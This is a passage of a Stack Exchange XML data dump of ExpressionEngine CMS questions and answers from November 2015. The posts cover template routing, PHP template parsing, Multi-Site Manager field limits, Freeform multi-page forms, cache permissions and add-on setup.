LastActivityDate="2015-11-20T15:13:51.957" Title="Profile:Edit with jquery.validate" Tags="|jquery|profile-edit|validation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34777" PostTypeId="2" ParentId="28626" CreationDate="2015-11-18T17:53:49.620" Score="0" Body="&lt;p&gt;I know this is an old question which has some sort of resolution but for others that are interested I've found a potential fix.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new template and assign it to the page that contains (or is likely to contain) the form&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Design &amp;gt; Templates &amp;gt; Template Route Manager&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find your template and add the following: &lt;code&gt;{page:alpha_dash}/{page:alpha_numeric}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This works perfectly well with my site setup. You can also assign the template / template route to a parent page i.e. &lt;code&gt;parent-page/{page:alpha_dash}/{page_no:alpha_numeric}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-11-18T17:53:49.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34778" PostTypeId="1" CreationDate="2015-11-18T19:26:47.943" Score="0" ViewCount="306" Body="&lt;p&gt;I use php templates when I need to send notification emails to multiple people.&#xA;Since upgrading to EE 2.10, I have noticed that when I echo the code, before the code that I am echoing, there is a random code in {}, ex. {!-- ra:0000000004854f7300007f40072103c3 --}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what this code is and how I can remove it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use php templates to download data/save it to csv.  this same random code is always in the first cell of the .csv file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a sample of the php template code I am referring too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            $debug = true; //debug mode: true for on, false for off&#xA;            $id = $this-&amp;gt;EE-&amp;gt;security-&amp;gt;xss_clean($this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3, 0)); &#xA;            if( $id &amp;gt; 0 &amp;amp;&amp;amp; is_numeric($id) ) //check if id is numeric and greater than 0&#xA;            {&#xA;                $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;                $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('text');&#xA;                $sql = &quot;SELECT &#xA;                        et.title AS TITLE,&#xA;                        ed.field_id_6 AS MY_VAR&#xA;                        FROM &#xA;                        exp_channel_data as ed          &#xA;                        WHERE ed.entry_id = &quot; . $id . &quot;  LIMIT 1&quot;;&#xA;&#xA;            $results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;            if ($results-&amp;gt;num_rows() &amp;gt; 0)&#xA;                {   &#xA;                    $title = $results-&amp;gt;row('TITLE');&#xA;                    $myVar1 = $results-&amp;gt;row('MY_VAR');&#xA;                } // END line 29&#xA;&#xA;            if($debug == TRUE)&#xA;                { &#xA;                    echo &quot;46&quot;;&#xA;                    echo $title.&quot;&amp;lt;br /&amp;gt;\n&quot;;&#xA;                    echo $myVar1.&quot;&amp;lt;br /&amp;gt;\n&quot;;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;} // END line 5&#xA;exit();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2015-11-18T21:00:25.060" Title="php template shows code in {}" Tags="|php|template-scripting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34779" PostTypeId="1" CreationDate="2015-11-18T20:24:50.017" Score="0" ViewCount="90" Body="&lt;p&gt;I'm about to rollout a product that could potentially need hundreds of connected EE sites.  What is the limits to MSM? I can easily see a few hundred sites but it could be as big as a few thousand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an EE site that has a large number of customizable features based on field types allowing the features to be activated.  I would duplicate the site for every new install and customize it based on a specific brand.  One instance will be for a large number of business franchises that need their own sites for local SEO purposes as well as offerings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I utilize the EE MSM and not get limited by the database size, columns, etc...?&lt;/p&gt;&#xA;" OwnerUserId="6535" LastActivityDate="2015-11-19T00:09:36.150" Title="Multi-Site Manager Limits" Tags="|multi-site-manager|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34780" PostTypeId="2" ParentId="34778" CreationDate="2015-11-18T21:00:25.060" Score="1" Body="&lt;p&gt;This has to do with the new template parser introduced in EE 2.9.0. What you're seeing is a template annotation, and it's removed from the template late in the parsing process. Since you're manually calling &lt;code&gt;exit()&lt;/code&gt;, it never gets the chance to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice: turn this code into a simple plugin instead. This amount of PHP in a template is always trouble waiting to happen IMHO.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-18T21:00:25.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34781" PostTypeId="2" ParentId="34779" CreationDate="2015-11-19T00:00:44.627" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/msm/additional_sites.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/msm/additional_sites.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theortical max limit on custom fields (which expands the &lt;code&gt;channel_data&lt;/code&gt; table horizontally, not vertically) is the maximum number of columns divided by 2 (in EE 2, at least, it uses to columns per custom field) in a MyISAM table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.percona.com/blog/2013/04/08/understanding-the-maximum-number-of-columns-in-a-mysql-table/&quot; rel=&quot;nofollow&quot;&gt;https://www.percona.com/blog/2013/04/08/understanding-the-maximum-number-of-columns-in-a-mysql-table/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is your real issue. Everything else basically expands vertically, so the column limit isn't an issue. I would say you can safely get to around 500 to 750 custom fields before hitting the limit, possibly 1000. The issues isn't how many sites (and you'll be paying for licenses for all of them), but how many custom fields. If your limit works out to 750 columns, and each site has 20 fields, your only looking at about 37~38 sites before hitting the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; as a side note, I've always found it an unfortunate choice for EllisLab to not expand &lt;code&gt;channel_data&lt;/code&gt; in it's own new table for new sites; InnoDB, for example, has a limit of 4 billion tables in a schema, and 1000 columns in a table. Which one makes more sense to take advantage of?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-11-19T00:09:36.150" LastActivityDate="2015-11-19T00:09:36.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34782" PostTypeId="1" CreationDate="2015-11-19T00:41:40.020" Score="0" ViewCount="47" Body="&lt;p&gt;I'm currently testing the latest EE3 version and for some reason, when trying to view any revisions, all that keeps getting displayed is the latest version.  This issue occurs across all template groups.  I was previously running EE3.0.3 and just updated EE3.0.4 and it still persists.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further inspection, each view button URL links to the same current template revision number.  It's the only issue I found not quite working right in EE thus far.  The following is my current setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 3.0.4&#xA;MAMP Pro 3.3&#xA;PhP 5.6.10&#xA;MySQL 5.5.42&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="6855" LastActivityDate="2016-06-06T04:58:50.603" Title="EE3 Template Viewing Revisions Problem" Tags="|ee|revisions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34783" PostTypeId="1" AcceptedAnswerId="34820" CreationDate="2015-11-19T04:44:23.423" Score="0" ViewCount="46" Body="&lt;p&gt;I'm getting an error with simple file entries tag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following tag cannot be processed:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:file:entries}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please check that the ‘file’ module is installed and that ‘entries’ is an available method of the module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is file entry tag not supported in EE3 core, or did I miss a step somewhere and did not enable something.&lt;/p&gt;&#xA;" OwnerUserId="6100" LastActivityDate="2015-11-24T15:48:33.627" Title="EE3 core file entry tag" Tags="|files|core|ee3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34784" PostTypeId="2" ParentId="34767" CreationDate="2015-11-19T08:08:44.700" Score="1" Body="&lt;p&gt;You shouldn't be submitting to PHP file in system folder directly, as the system folder might be located outside of web root and so inaccessible for direct requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you need to place those functions inside of a module and post data to &lt;code&gt;ACT&lt;/code&gt; page, just like you say.&#xA;The function reference need to be added to &lt;code&gt;exp_actions&lt;/code&gt; database table (&lt;a href=&quot;http://ee2docs.com/development/modules.html#install&quot; rel=&quot;nofollow&quot;&gt;see example in the docs&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to get URL to post to you will need code similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$act = ee()-&amp;gt;db-&amp;gt;select(&quot;action_id&quot;)-&amp;gt;from(&quot;actions&quot;)-&amp;gt;where(&quot;class&quot;, 'Module_name')-&amp;gt;where('method', 'function_name')-&amp;gt;get();&#xA;$remoteUrl = trim(ee()-&amp;gt;config-&amp;gt;item('site_url'), '/').'/?ACT='.$act-&amp;gt;row('action_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-19T08:08:44.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34785" PostTypeId="2" ParentId="34783" CreationDate="2015-11-19T11:49:32.667" Score="0" Body="&lt;p&gt;This might be obvious, but did you go to &quot;Add-ons&quot; section in Control Panel and make sure &quot;File&quot; module is installed?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-19T11:49:32.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34786" PostTypeId="2" ParentId="34782" CreationDate="2015-11-19T13:40:53.000" Score="0" Body="&lt;p&gt;If the links are the same (while they should not be) then this must be a bug, and you are encouraged to report it directly to EllisLab using their &lt;a href=&quot;https://support.ellislab.com/bugs&quot; rel=&quot;nofollow&quot;&gt;bugtracker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-19T13:40:53.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34787" PostTypeId="1" AcceptedAnswerId="34788" CreationDate="2015-11-19T13:46:03.123" Score="0" ViewCount="201" Body="&lt;p&gt;I'm wondering if it is possible to show a count of entries with a custom field value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I have a channel with a custom field that can have a value of either &quot;Y&quot; or &quot;N&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I show a list of entries in that channel I can easily show the total number of entries, but how would I show the total number of entries along with the total number of entries with my custom field set to &quot;N&quot; and the total number of entries with my custom field set to &quot;Y&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like: All Entries = 12, Y Entries = 4, N Entries = 8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3630" LastActivityDate="2015-11-19T14:46:44.327" Title="Count the number of entries with a field value?" Tags="|channel-entries|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34788" PostTypeId="2" ParentId="34787" CreationDate="2015-11-19T14:46:44.327" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/add-ons/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;my_channel&quot;&#xA;    search:my_field=&quot;Y&quot;}&#xA;&#xA;    {absolute_results}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should do it. That should give you the total count of entries with your &lt;code&gt;my_field&lt;/code&gt; field set to &quot;Y&quot;. Just omit the &lt;code&gt;search&lt;/code&gt; param to get all results; you may have to put a very high &lt;code&gt;limit&lt;/code&gt; param if you have more than 100 entries as the Channel Entries tag defaults to a limit of 100. If that doesn't work for you, I can craft up a quick &lt;code&gt;{exp:query}&lt;/code&gt; tag for you that will do that trick.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-19T14:46:44.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34790" PostTypeId="1" AcceptedAnswerId="34855" CreationDate="2015-11-19T18:37:43.940" Score="0" ViewCount="42" Body="&lt;p&gt;I have a form with a number of pages and radio buttons, each one has a score attached. If the score is lower than 5 by the 5th page I need to end the form and display the results, else carry on with the rest of the questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to hook into the form with &lt;code&gt;freeform_module_insert_begin&lt;/code&gt; and inject a bit of code at the correct point but I'm not sure how to 'finish' the multi-page form. &lt;em&gt;The below code fires at the correct point.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$step variable grabs the page number from the URL&#xA;if ( $step == 5 AND $inputs['total'] &amp;lt; 5 ) {&#xA;    //End form&#xA;    $obj-&amp;gt;last_page = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding the &lt;code&gt;$obj-&amp;gt;last_page = true;&lt;/code&gt; line to trick the form into thinking it's at the end but unfortunately it didn't work and carried onto the next page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried playing with &lt;code&gt;$obj-&amp;gt;params['multipage_next_page'];&lt;/code&gt; and &lt;code&gt;$obj-&amp;gt;params['multipage_previous_page']&lt;/code&gt; however if I unset the next_page (or direct it elsewhere) I'm getting taken to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;freeform_module_insert_end&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;code&gt;ee()-&amp;gt;functions-&amp;gt;redirect($return);&lt;/code&gt; where &lt;code&gt;$return&lt;/code&gt; equals the result URL but it doesn't appear to submit properly.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-11-24T15:06:30.817" Title="Possible to spoof last page, or end early in multi-page form?" Tags="|solspace-freeform|add-on-development|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34791" PostTypeId="1" CreationDate="2015-11-19T19:47:42.643" Score="2" ViewCount="312" Body="&lt;p&gt;I was wondering if anyone was using or had tested Freemember with the new EE 3.x ? I'm working on upgrading some sites and I used this in a few of them. &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6861" LastActivityDate="2016-02-12T03:15:14.187" Title="Freemember with EE 3?" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34792" PostTypeId="1" AcceptedAnswerId="34802" CreationDate="2015-11-19T21:02:08.017" Score="0" ViewCount="82" Body="&lt;p&gt;I&quot;m setting up an xml template on an old site to use for importing to a new site via datagrab. Everything is working fine except when I try to output categories from one specific category group. When I do that the page gives a 500 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant part of my template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;root&amp;gt;&#xA;{exp:channel:entries channel=&quot;trips&quot; paginate=&quot;bottom&quot; status=&quot;Open|Closed&quot; limit=&quot;500&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;entry&amp;gt;&#xA;&#xA;        &amp;lt;categories&amp;gt;&#xA;&#xA;        {!-- // causes 500 error on page load not sure why&#xA;            &amp;lt;cat_activities&amp;gt;&#xA;                {categories show_group=&quot;6&quot; backspace=&quot;1&quot;}&#xA;                    &amp;lt;![CDATA[{category_name}]]&amp;gt;,&#xA;                {/categories}&#xA;            &amp;lt;/cat_activities&amp;gt;&#xA;        --}&#xA;&#xA;&#xA;            &amp;lt;cat_difficulty-class&amp;gt;&#xA;                {categories show_group=&quot;7&quot; backspace=&quot;1&quot;}&#xA;                    &amp;lt;![CDATA[{category_name}]]&amp;gt;,&#xA;                {/categories}&#xA;            &amp;lt;/cat_difficulty-class&amp;gt;&#xA;&#xA;        &amp;lt;/categories&amp;gt;&#xA;&#xA;    &amp;lt;/entry&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/root&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've taken the same code and put it into a test html template and there are no errors and it outputs the categories as expected. See below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;trips&quot; paginate=&quot;bottom&quot; status=&quot;Open|Closed&quot; limit=&quot;500&quot; dynamic=&quot;off&quot;}&#xA;&#xA;            &amp;lt;cat_activities&amp;gt;&#xA;                {categories show_group=&quot;6&quot; backspace=&quot;1&quot;}&#xA;                    {category_name},&amp;lt;br&amp;gt;&#xA;                {/categories}&#xA;            &amp;lt;/cat_activities&amp;gt;&#xA;&#xA;            &amp;lt;cat_difficulty-class&amp;gt;&#xA;                {categories show_group=&quot;7&quot; backspace=&quot;1&quot;}&#xA;                    {category_name},&amp;lt;br&amp;gt;&#xA;                {/categories}&#xA;            &amp;lt;/cat_difficulty-class&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea on why the xml template is getting a 500 error? As soon as I comment out the one category group the xml template loads correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***********UPDATE***************&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked that the categories in this category group don't have any special characters or anything that would obviously affect output in either the title or url_title. Have attached screenshot of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cHjFD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cHjFD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-11-20T14:34:11.337" LastActivityDate="2015-11-20T15:13:58.960" Title="XML template 500 error with one category group" Tags="|template-scripting|xml|error-500|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34794" PostTypeId="1" CreationDate="2015-11-19T23:14:03.477" Score="0" ViewCount="119" Body="&lt;p&gt;I am trying to allow caching for my site using expressionengine 2.0. In my config.php file, I have set the following two parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cache_driver'] = 'file';&#xA;$config['cache_path'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially there was no cache directory, so I created a cache directory with 755 permissions. However, on expressengine's admin page, when I try to set caching to File, it keeps on saying in a writing next to it in red:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K9ly3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9ly3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that my cache directory doesn't have anything in it. Its at the correct path&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www/mysite/system/expressionengine/cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated&lt;/p&gt;&#xA;" OwnerUserId="6862" LastActivityDate="2015-11-19T23:14:03.477" Title="Issue with ExpressionEngine caching file permissions" Tags="|permissions|caching|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34798" PostTypeId="1" AcceptedAnswerId="34800" CreationDate="2015-11-20T13:47:14.443" Score="1" ViewCount="385" Body="&lt;p&gt;Am trying to install Flag Master addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mithra62/flag-master&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mithra62/flag-master&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did copy the extracted folder to third_party folder as per the install instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the module doesn't show up in the modules list for it to be installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using EE 2.10..1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-01-08T18:06:16.350" Title="Module not showing in modules list for installing" Tags="|module|install|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34799" PostTypeId="1" CreationDate="2015-11-20T14:18:44.440" Score="0" ViewCount="140" Body="&lt;p&gt;I've seen the other posts(&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19915/solspace-freeform-form-expired-under-ee-2-8&quot;&gt;Solspace freeform &amp;quot;form expired&amp;quot; under EE 2.8&lt;/a&gt;) about this same issue. but they didn't really solve the issue. I really have to get this working as this form has dragged on a while with issues. I have a multipage form and I get the error sometimes after submitting the first page. Other posts say to disable the CSRF protection using the config.php, but I've been told this isn't good for security. I can post template code, but I don't know if my setup even matters as other people have the same issue. Please let me know if you need any more information, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.9.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform Pro v4.2.2&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-11-20T18:09:40.553" Title="Solspace Freeform, getting &quot;form expired&quot; error" Tags="|solspace-freeform|solspace|forms|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34800" PostTypeId="2" ParentId="34798" CreationDate="2015-11-20T14:49:50.627" Score="1" Body="&lt;p&gt;The files should be located inside system/expressionengine/third_party/flag_master/ folder, not directly in third_party folder. Please check that.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-20T14:49:50.627" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34801" PostTypeId="2" ParentId="34776" CreationDate="2015-11-20T15:13:51.957" Score="0" Body="&lt;p&gt;The &lt;code&gt;profile:register&lt;/code&gt; form extends the &lt;code&gt;channel:form&lt;/code&gt; tag (&lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#register&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;), and by default the Channel Form includes a copy of jQuery. Sunce your validation is working on a raw form, I assume this means you're already loading jQuery into your template, so the conflicting version of jQuery is likely what's causing the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, add &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt; as a parameter on your &lt;code&gt;profile:register&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-20T15:13:51.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34802" PostTypeId="2" ParentId="34792" CreationDate="2015-11-20T15:13:58.960" Score="2" Body="&lt;p&gt;Can’t see any problem off hand, but I’d try some of this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;According to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_entries.html#categories-tag-pair-parameters&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;, the backspace parameter counts &lt;br&gt; as four characters, so change the backspace value to 4.&lt;/li&gt;&#xA;&lt;li&gt;Removing the &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Removing the backspace parameter &lt;/li&gt;&#xA;&lt;li&gt;Ensure that category group is indeed assigned to the ‘trips’ channel &lt;/li&gt;&#xA;&lt;li&gt;Try putting group 6 after group 7 and see if the same thing happens&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="332" LastActivityDate="2015-11-20T15:13:58.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34803" PostTypeId="2" ParentId="34791" CreationDate="2015-11-20T15:24:46.670" Score="3" Body="&lt;p&gt;Freemember has not been updated to be compatible with EE3 - you'd have to contact DevDemon and ask if they have plans. (It doesn't appear in their &lt;a href=&quot;http://www.devdemon.com/blog/expressionengine-3.0-porting&quot; rel=&quot;nofollow&quot;&gt;EE3 roadmap&lt;/a&gt;, and as a free add-on that was Adrian's baby before he sold Expresso Dev to DevDemon, it may not happen.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's open source, so anyone can tackle the conversion ad make a pull request.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-20T15:24:46.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34804" PostTypeId="1" CreationDate="2015-11-20T15:44:42.270" Score="0" ViewCount="13" Body="&lt;p&gt;This is totally weird to me but a new channel I made last week now looks all messed up when you go to make an entry with the channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vabcW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vabcW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the toolbar is destroying the page.  I click show toolbar, and an empty space slides in on the right, where it should be.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this to happen?&#xA;How is this fixed?&#xA;How is this prevented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6811" LastEditorUserId="6811" LastEditDate="2015-11-20T15:49:46.847" LastActivityDate="2015-11-20T15:49:46.847" Title="EE 2.2.0 | Entry page layout is messed up for one specific channel" Tags="|toolbar|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34805" PostTypeId="1" AcceptedAnswerId="38020" CreationDate="2015-11-20T16:29:38.930" Score="0" ViewCount="53" Body="&lt;p&gt;I added a coupon to the DevDemon subscription Coupon dashboard in the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the coupon code within the subscribe tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:subs:subscribe &#xA;    payment_method=&quot;authorizenet_cim&quot;&#xA;    plan=&quot;pro&quot; &#xA;    return=&quot;/join/create/%SUBS_HASH%&quot;&#xA;}&#xA;&#xA;&amp;lt;input name=&quot;coupon&quot; type=&quot;text&quot; value=&quot;{subs:coupon}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns this error message: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The submitted coupon code does not exist or is malformated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code does exist, I must be missing a small detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CLg40.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CLg40.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8aubT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8aubT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2016-08-25T11:56:15.577" Title="Coupon code does not exist in DevDemon Subscription" Tags="|devdemon|devdemon-subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
